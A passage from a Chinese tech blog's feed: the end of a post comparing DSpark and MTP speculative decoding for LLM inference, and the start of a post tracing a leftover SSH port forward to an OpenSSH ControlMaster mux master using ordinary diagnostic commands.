&lt;tr&gt;&lt;td&gt;MTP 训练&lt;&#x2F;td&gt;&lt;td&gt;同时预测&lt;strong&gt;未来多个词&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h4 id=&quot;dai-lai-de-hao-chu&quot;&gt;带来的好处&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;更强的训练信号&lt;&#x2F;strong&gt;：预测多个位置的目标，提供更密集的监督信号&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;提升数据利用效率&lt;&#x2F;strong&gt;：每个训练样本提供更多学习信息&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;可能提升模型性能&lt;&#x2F;strong&gt;：DeepSeek-V3 技术报告证明，MTP 策略在多个评测基准上&lt;strong&gt;一致增强&lt;&#x2F;strong&gt;了模型性能&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;xun-lian-fang-shi-xuan-ze&quot;&gt;训练方式选择&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;从头训练&lt;&#x2F;strong&gt;：在模型预训练阶段就加入 MTP 目标&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;两阶段训练&lt;&#x2F;strong&gt;：
&lt;ul&gt;
&lt;li&gt;阶段 1：冻结主模型，仅训练新添加的 MTP 头（Head Warm-up）&lt;&#x2F;li&gt;
&lt;li&gt;阶段 2：对整个模型（主模型 + 头）进行联合微调&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xun-lian-hou-de-shi-yong-fang-shi&quot;&gt;训练后的使用方式&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;zuo-wei-cao-gao-mo-xing-jin-xing-tou-ji-cai-yang&quot;&gt;作为&quot;草稿模型&quot;进行投机采样&lt;&#x2F;h4&gt;
&lt;p&gt;MTP 用于推理加速的核心方式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;打草稿（Draft）阶段&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;主模型完成一次前向计算&lt;&#x2F;li&gt;
&lt;li&gt;利用&lt;strong&gt;内部的隐藏状态&lt;&#x2F;strong&gt; + &lt;strong&gt;级联的 MTP 模块&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;快速、串行&lt;&#x2F;strong&gt;地生成多个候选 token&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;并行验证（Verification）阶段&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;将候选 token 序列一次性输入完整的主模型&lt;&#x2F;li&gt;
&lt;li&gt;在一次前向传播中并行计算出所有位置的真实概率&lt;&#x2F;li&gt;
&lt;li&gt;通过&quot;拒绝采样&quot;接受尽可能长的正确前缀&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;zhi-jie-diu-qi&quot;&gt;直接丢弃&lt;&#x2F;h4&gt;
&lt;p&gt;如果不需要加速，或出于兼容性考虑，&lt;strong&gt;直接抛弃 MTP 模块&lt;&#x2F;strong&gt;，作为标准模型使用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-san-bu-fen-dspark-vs-mtp-shen-du-dui-bi&quot;&gt;第三部分：DSpark vs MTP 深度对比&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;he-xin-chai-yi-yi-lan&quot;&gt;核心差异一览&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;对比维度&lt;&#x2F;th&gt;&lt;th&gt;&lt;strong&gt;DSpark&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;strong&gt;MTP&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;本质&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;独立的推理加速框架&lt;&#x2F;td&gt;&lt;td&gt;模型训练策略&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;草稿生成者&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;独立的外部小模型（3 亿参数）&lt;&#x2F;td&gt;&lt;td&gt;主模型自带的 MTP 模块&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;训练时间&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;主模型训练&lt;strong&gt;之后&lt;&#x2F;strong&gt;，单独训练&lt;&#x2F;td&gt;&lt;td&gt;主模型训练&lt;strong&gt;期间&lt;&#x2F;strong&gt;，同步训练&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;模型修改&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;不修改主模型结构&lt;&#x2F;td&gt;&lt;td&gt;增加额外的 MTP 头&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;即插即用&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;可为任意开源模型单独训练并挂载&lt;&#x2F;td&gt;&lt;td&gt;与主模型深度绑定，不可拆分&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;草稿成本&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;额外小模型的计算 + 显存开销&lt;&#x2F;td&gt;&lt;td&gt;几乎无额外开销（共享大部分参数）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;适用场景&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;开源模型推理加速&lt;&#x2F;td&gt;&lt;td&gt;需要内建加速能力的模型&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;zhi-guan-lei-bi&quot;&gt;直观类比&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;DSpark&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;给专家（主模型）配了一位快速助手（外部草稿模型）。助手先快速写草稿，专家审阅。这套班子可以随时请来，随时请走。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;MTP&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;专家自己被训练出了一心多用的天赋（内部预测头）。自己快速打草稿，自己审阅。这种天赋需要从小（训练时）培养，是专家不可分割的一部分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;yan-zheng-jie-duan-shi-fou-xiang-tong&quot;&gt;验证阶段是否相同？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;是的，验证阶段的核心机制完全相同。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;MTP 和 DSpark 在&quot;验证&quot;这一步，都遵循推测解码的标准范式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一次并行前向传播&lt;&#x2F;strong&gt;验证多个候选 token&lt;&#x2F;li&gt;
&lt;li&gt;通过&lt;strong&gt;拒绝采样&lt;&#x2F;strong&gt;保证无损&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;区别仅在于 &lt;strong&gt;&quot;谁&quot;来生成候选草稿&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-si-bu-fen-ji-shu-wen-da-jing-xuan&quot;&gt;第四部分：技术问答精选&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;q1-cao-gao-mo-xing-shi-sui-zhu-mo-xing-yi-qi-fa-bu-ma&quot;&gt;Q1：草稿模型是随主模型一起发布吗？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;不是。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;草稿模型是&lt;strong&gt;独立训练&lt;&#x2F;strong&gt;的，需要单独获取&lt;&#x2F;li&gt;
&lt;li&gt;DeepSeek 会在 Hugging Face 等平台&lt;strong&gt;单独发布&lt;&#x2F;strong&gt;针对特定主模型的草稿模型权重&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;q2-cao-gao-mo-xing-ke-yi-zai-zhu-mo-xing-xun-lian-shi-yi-qi-xun-lian-ma&quot;&gt;Q2：草稿模型可以在主模型训练时一起训练吗？&lt;&#x2F;h3&gt;
&lt;p&gt;两种方式都有，但主流是&quot;事后训练&quot;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方式&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;th&gt;主流程度&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;事后训练&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;主模型训练完成后，再单独训练草稿模型&lt;&#x2F;td&gt;&lt;td&gt;主流&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;联合训练&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;主模型与草稿模型同时训练&lt;&#x2F;td&gt;&lt;td&gt;研究探索&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;事后训练的优势&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;资源需求灵活（单机 8 卡即可）&lt;&#x2F;li&gt;
&lt;li&gt;解耦与复用（可为任何开源模型训练）&lt;&#x2F;li&gt;
&lt;li&gt;工程成熟（DeepSpec 框架支持）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;q3-xun-lian-cao-gao-mo-xing-xu-yao-zhu-mo-xing-de-can-shu-ma&quot;&gt;Q3：训练草稿模型需要主模型的参数吗？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;不需要权重参数，但需要架构信息。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;需求项&lt;&#x2F;th&gt;&lt;th&gt;是否需要&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;主模型权重参数&lt;&#x2F;td&gt;&lt;td&gt;不需要&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;主模型架构信息（层数、hidden size 等）&lt;&#x2F;td&gt;&lt;td&gt;需要&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;主模型隐藏状态&lt;&#x2F;td&gt;&lt;td&gt;核心需求&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;对闭源模型的影响&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;无法获取隐藏状态 → &lt;strong&gt;无法为闭源模型训练草稿模型&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;DSpark 的加速能力目前仅适用于&lt;strong&gt;开源模型&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;q4-zhu-mo-xing-bing-xing-yan-zheng-100-ge-token-shi-ru-guo-qian-mian-de-token-shi-cuo-de-hou-mian-de-ji-suan-huan-you-yi-yi-ma&quot;&gt;Q4：主模型&quot;并行验证 100 个 token&quot;时，如果前面的 token 是错的，后面的计算还有意义吗？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;有意义。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;主模型在验证时，计算的是**&quot;假设前面 token 被接受&quot;这一条件下的条件概率**：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;位置 3 的计算：基于&quot;原始上下文 + 位置 1 和 2 的 token（&lt;strong&gt;假设被接受&lt;&#x2F;strong&gt;）&quot;&lt;&#x2F;li&gt;
&lt;li&gt;这个上下文是主模型&lt;strong&gt;自己构建的、逻辑连贯的&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;即使草稿在位置 1 出错，主模型算出的位置 2、3 的&quot;条件概率&quot;&lt;strong&gt;本身仍是有效的&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;真正的&quot;浪费&quot;&lt;&#x2F;strong&gt;：如果草稿在位置 K 出错，K+1 及之后的草稿 token 会作废。但 DSpark 的&lt;strong&gt;动态验证调度&lt;&#x2F;strong&gt;会立即截断，最大化收益。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;q5-yan-zheng-shi-de-reng-tou-zi-shi-fou-hui-dao-zhi-hui-tui-dao-chuan-xing-ji-suan&quot;&gt;Q5：验证时的&quot;扔骰子&quot;是否会导致回退到串行计算？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;不会。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&quot;扔骰子&quot;（拒绝采样判断）的成本与主模型计算的成本&lt;strong&gt;相差几个数量级&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;操作&lt;&#x2F;th&gt;&lt;th&gt;耗时&lt;&#x2F;th&gt;&lt;th&gt;数据量&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;主模型前向传播&lt;&#x2F;td&gt;&lt;td&gt;毫秒级&lt;&#x2F;td&gt;&lt;td&gt;几百 GB 权重搬运&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;拒绝采样判断&lt;&#x2F;td&gt;&lt;td&gt;微秒&#x2F;纳秒级&lt;&#x2F;td&gt;&lt;td&gt;几 KB 数据读取 + 除法 + 随机数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;1 毫秒 = 1000 微秒，主模型跑 1 步的时间足够 GPU &lt;strong&gt;扔上几万次骰子&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-wu-bu-fen-zong-jie-yu-zhan-wang&quot;&gt;第五部分：总结与展望&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;he-xin-yao-dian&quot;&gt;核心要点&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DSpark 和 MTP 不是竞争关系，而是继承与超越的关系&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;MTP 是 DeepSeek 上一代技术&lt;&#x2F;li&gt;
&lt;li&gt;DSpark 是新一代、更强大的进化版&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DSpark 的核心创新&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;半自回归并行草稿生成&lt;&#x2F;li&gt;
&lt;li&gt;动态验证调度&lt;&#x2F;li&gt;
&lt;li&gt;轻量级独立草稿模型&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MTP 的核心特点&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;训练时多步规划&lt;&#x2F;li&gt;
&lt;li&gt;推理时灵活选择（可用可弃）&lt;&#x2F;li&gt;
&lt;li&gt;与主模型深度绑定&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;推测解码的无损保证&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;拒绝采样机制&lt;&#x2F;li&gt;
&lt;li&gt;数学上严格证明&lt;&#x2F;li&gt;
&lt;li&gt;最终输出与主模型直接生成分布一致&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;xuan-xing-jian-yi&quot;&gt;选型建议&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;推荐方案&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;为已有开源模型加速&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DSpark&lt;&#x2F;strong&gt;（即插即用，独立训练）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;从头训练新模型，追求极致效率&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;MTP&lt;&#x2F;strong&gt;（内建加速能力，无额外开销）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;构建高并发线上服务&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;vLLM + DSpark&lt;&#x2F;strong&gt;（全能框架 + 先进算法）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;追求单用户极限响应速度&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;DSpark&lt;&#x2F;strong&gt;（速度提升 60%-85%）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;yan-shen-si-kao&quot;&gt;延伸思考&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;DSpark 的&quot;事后训练&quot;思路，为开源生态的推理加速提供了巨大想象空间&lt;&#x2F;li&gt;
&lt;li&gt;草稿模型的独立训练，使得&quot;为任何开源模型定制加速器&quot;成为可能&lt;&#x2F;li&gt;
&lt;li&gt;未来的发展方向：更轻量的草稿模型、更高的接受率、更智能的动态调度&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;can-kao-zi-yuan&quot;&gt;参考资源&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;DeepSeek 官方开源框架：&lt;strong&gt;DeepSpec&lt;&#x2F;strong&gt;（包含 DSpark 实现）&lt;&#x2F;li&gt;
&lt;li&gt;草稿模型权重：Hugging Face 平台（针对 Gemma、Qwen 等模型）&lt;&#x2F;li&gt;
&lt;li&gt;相关论文：DSpark 技术报告、DeepSeek-V3 技术报告&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;本文基于与 DeepSeek 技术专家的深度对话整理而成，旨在帮助读者系统理解大模型推理加速的核心技术。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;em&gt;最后更新：2026-08-25&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SSH ControlMaster 复用引发的「幽灵监听」：-L 端口转发生命周期详解</title>
        <published>2026-08-24T19:56:59+08:00</published>
        <updated>2026-08-24T19:56:59+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/ssh-controlmaster-port-forward-leftover/"/>
        <id>https://vercel.juzhong.asia/2026/08/ssh-controlmaster-port-forward-leftover/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/ssh-controlmaster-port-forward-leftover/">&lt;h1 id=&quot;xian-xiang-yi-ge-sha-bu-diao-de-duan-kou-jian-ting&quot;&gt;现象：一个&quot;杀不掉&quot;的端口监听&lt;&#x2F;h1&gt;
&lt;p&gt;我有个 &lt;code&gt;dsh-proxy.sh&lt;&#x2F;code&gt;，职责很单纯：用 &lt;code&gt;systemd-run --user&lt;&#x2F;code&gt; 起一条 ssh 隧道，把远端机器的 3080 端口暴露到本机 &lt;code&gt;127.0.0.1:3080&lt;&#x2F;code&gt;（远端 caddy + dsh web 的 basicauth HTTPS 入口，浏览器 origin 必须落在 loopback 才能操作配置平面）。&lt;&#x2F;p&gt;
&lt;p&gt;某天它开始闹鬼，三个症状互相矛盾：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ dsh-proxy.sh start
本地端口 3080 已被占用（可能本机有 dsh 在跑？），中止启动

$ dsh-proxy.sh stop
unit 未在运行

$ lsof -i:3080 -nP | grep LISTEN
ssh      206121 peter  16u  IPv4 ... TCP 127.0.0.1:3080 (LISTEN)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;start&lt;&#x2F;code&gt; 说端口被占用 → 确实有 ssh 在监听 3080&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;stop&lt;&#x2F;code&gt; 说 unit 根本没在运行 → systemd 层面查无此 unit&lt;&#x2F;li&gt;
&lt;li&gt;但那个 ssh 进程确实活着，且监听端口就是它&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;stop 停不掉、start 起不来、端口还被一个&quot;不属于任何 unit&quot;的进程占着&lt;&#x2F;strong&gt;——这到底是谁？&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-zheng-ju-lian&quot;&gt;排查：证据链&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-unit-que-shi-bu-cun-zai-liao&quot;&gt;1. unit 确实不存在了&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ systemctl --user status dsh-proxy --no-pager
Unit dsh-proxy.service could not be found.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;unit 是 &lt;code&gt;systemd-run --collect&lt;&#x2F;code&gt; 起的临时 unit，进程退出后会被立即回收。所以 &lt;strong&gt;unit 存在过、但它的进程已经死了&lt;&#x2F;strong&gt;——这是 &lt;code&gt;--collect&lt;&#x2F;code&gt; 的预期行为。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-jian-ting-jin-cheng-bu-shi-sui-dao-de-ssh-er-shi-mux-master&quot;&gt;2. 监听进程不是隧道的 ssh，而是 mux master&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ps -fp 206121
UID   PID  PPID  ...  CMD
peter 206121 3559 ...  ssh: &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.ssh&amp;#x2F;socket&amp;#x2F;user@192.168.1.10-22 [mux]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;命令行的 &lt;code&gt;[mux]&lt;&#x2F;code&gt; 是关键词：&lt;strong&gt;这是一个 ControlMaster 复用 master 进程&lt;&#x2F;strong&gt;。它 13:21 就存在了——比隧道 19:44 的启动早得多。查 &lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ grep -nE &amp;quot;ControlMaster|ControlPath|ControlPersist&amp;quot; ~&amp;#x2F;.ssh&amp;#x2F;config
52:  ControlMaster auto
53:  ControlPath ~&amp;#x2F;.ssh&amp;#x2F;socket&amp;#x2F;%r@%h-%p
54:  ControlPersist 1h
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;全局开着 ControlMaster，任何到同一主机的 ssh 都会走复用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-master-shang-huan-gua-zhao-bie-de-huo&quot;&gt;3. master 上还挂着别的活&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ss -tnp | grep 206121
ESTAB 127.0.0.1:13081 &amp;lt;- 127.0.0.1:47262  ssh(206121)   # -D 动态转发（SOCKS）
ESTAB 192.168.1.20:60688 -&amp;gt; 192.168.1.10:22 ssh(206121) # master 到远端的真实连接
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个 master 是 &lt;strong&gt;VS Code Remote-SSH&lt;&#x2F;strong&gt; 建的（&lt;code&gt;-D&lt;&#x2F;code&gt; SOCKS + 会话），正被实时使用着。→ &lt;strong&gt;不能杀 master 释放端口&lt;&#x2F;strong&gt;，一杀 VS Code 的远程会话就断。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-journal-li-zhi-you-yi-tiao-started&quot;&gt;4. journal 里只有一条 Started&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ journalctl --user -u dsh-proxy --no-pager
Started dsh-proxy.service - &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ssh -N -L 3080:127.0.0.1:3080 ... -- user@192.168.1.10.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;隧道确实启动过，之后 unit 干净消失（无 Stopped、无失败重启日志，&lt;code&gt;--collect&lt;&#x2F;code&gt; 的典型表现）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;证据链闭环&lt;&#x2F;strong&gt;：unit 的 ssh 进程死了，但 3080 的监听还活在一个别人家的 mux master 进程里。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gen-yin-mux-fu-yong-xia-l-zhuan-fa-de-sheng-ming-zhou-qi-bu-zai-client-shou-li&quot;&gt;根因：mux 复用下，&lt;code&gt;-L&lt;&#x2F;code&gt; 转发的生命周期不在 client 手里&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;openssh-connection-multiplexing-ji-zhi&quot;&gt;OpenSSH Connection Multiplexing 机制&lt;&#x2F;h2&gt;
&lt;p&gt;当 &lt;code&gt;ControlMaster auto&lt;&#x2F;code&gt; + 已有同主机 master 时，新的 &lt;code&gt;ssh -N -L 3080:...&lt;&#x2F;code&gt; &lt;strong&gt;不会自己建 TCP 连接&lt;&#x2F;strong&gt;，而是变成 master 的 mux &lt;strong&gt;client&lt;&#x2F;strong&gt;：通过本地 unix socket（&lt;code&gt;~&#x2F;.ssh&#x2F;socket&#x2F;%r@%h-%p&lt;&#x2F;code&gt;）把请求发给 master，包括「帮我监听 3080」：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;              unix socket                      TCP:22
systemd-run ssh ──────────► mux master 206121 ────────► remote
  (client, unit进程)         (VS Code 建的 master)      (真实连接)
                              │
                              └─► bind()&amp;#x2F;listen() 127.0.0.1:3080  ← 监听在 master 上！
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;于是 &lt;strong&gt;真正 &lt;code&gt;listen()&lt;&#x2F;code&gt; 3080 的是 master 进程&lt;&#x2F;strong&gt;——这就是为什么 lsof 的 owner 是 master 而不是 unit 的进程。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-jian-yu-yi-client-tui-chu-zhuan-fa-che-xiao&quot;&gt;关键语义：client 退出 ≠ 转发撤销&lt;&#x2F;h2&gt;
